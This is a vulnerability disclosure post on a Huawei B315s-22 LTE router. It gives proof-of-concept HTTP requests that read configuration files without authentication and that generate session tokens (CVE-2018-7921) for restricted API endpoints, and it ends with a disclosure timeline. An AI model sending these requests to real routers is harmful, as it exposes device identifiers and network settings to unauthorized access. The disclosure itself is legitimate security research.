Huawei LTE router unauthenticated resource access

Disclaimer: [This POC is for Educational Purposes , I would Not be
responsible for any misuse of the information mentioned in this blog post]

Hi folks,

Several vulnerabilities were identified in the Huawei LTE router. These are described in detail below:

Product Family: LTE
Model B315s – 22
Firmware version: 21.318.01.00.26
Author: Usman Saeed (usman [at] xc0re.net)

1. Unauthenticated access to sensitive files:
It was observed that the web application running on the router, allows unauthenticated access to sensitive files on the web server.

POC:

By sending a simple GET request without authentication cookie one can get see valid responses:

Request:
GET /config/deviceinformation/config.xml HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

Response:

HTTP/1.1 200 OK

<?xml version=”1.0″ encoding=”UTF-8″?>
<config>
<devicename>1</devicename>
<serialnumber>0</serialnumber>
<imei>1</imei>
<imsi>1</imsi>
<iccid>0</iccid>
<msisdn>1</msisdn>
<hardwareversion>1</hardwareversion>
<softwareversion>1</softwareversion>

Other resources accessible are:

  • /config/dialup/config.xml
  • /config/global/config.xml
  • /config/global/net-type.xml
  • /config/lan/config.xml
  • /config/pcassistant/config.xml
  • /config/voice/config.xml
  • /config/wifi/configure.xml

## After discussion with Huawei, according to them as the consequence of this vulnerability is quite low thus they marked it as a non-vulnerability.


2. Unauthenticated valid token generation [CVE-2018-7921]

It was observed that an unauthenticated user can generate “SessionID” and “__RequestVerificationToken” by simply sending an HTTP GET request to “/api/webserver/SesTokInfo”.

These tokens, although might not give the user full access to the router but using these, one can access to several restricted resources on the router.

POC:

First, we send a GET request, as mentioned above.

Request:
GET /api/webserver/SesTokInfo HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Content-Length: 0

Response:
HTTP/1.1 200 OK

<?xml version=”1.0″ encoding=”UTF-8″?>
<response>
<SesInfo>SessionID=<omitted></SesInfo>
<TokInfo><omitted></TokInfo>
</response>

Now we use these tokens in one of our request where authentication is required:

Request:
GET /api/cradle/status-info HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
__RequestVerificationToken: <omitted>
X-Requested-With: XMLHttpRequest
Cookie: SessionID=<omitted>
DNT: 1
Connection: close

Response:

HTTP/1.1 200 OK

<?xml version=”1.0″ encoding=”UTF-8″?>

It is to note with an invalid, expired authentication session, the response is:

Response:
HTTP/1.1 200 OK

<?xml version=”1.0″ encoding=”UTF-8″?>
<error>
<code>125002</code>
<message></message>
</error>


[+] Responsible Disclosure:

  • Vulnerabilities identified – 31/07/2018
  • Reported to Huawei – 31/07/2018
  • Huwaei patched the vulnerability and issued a CVE – 31/08/2018
  • Public disclosure – 01/09/2018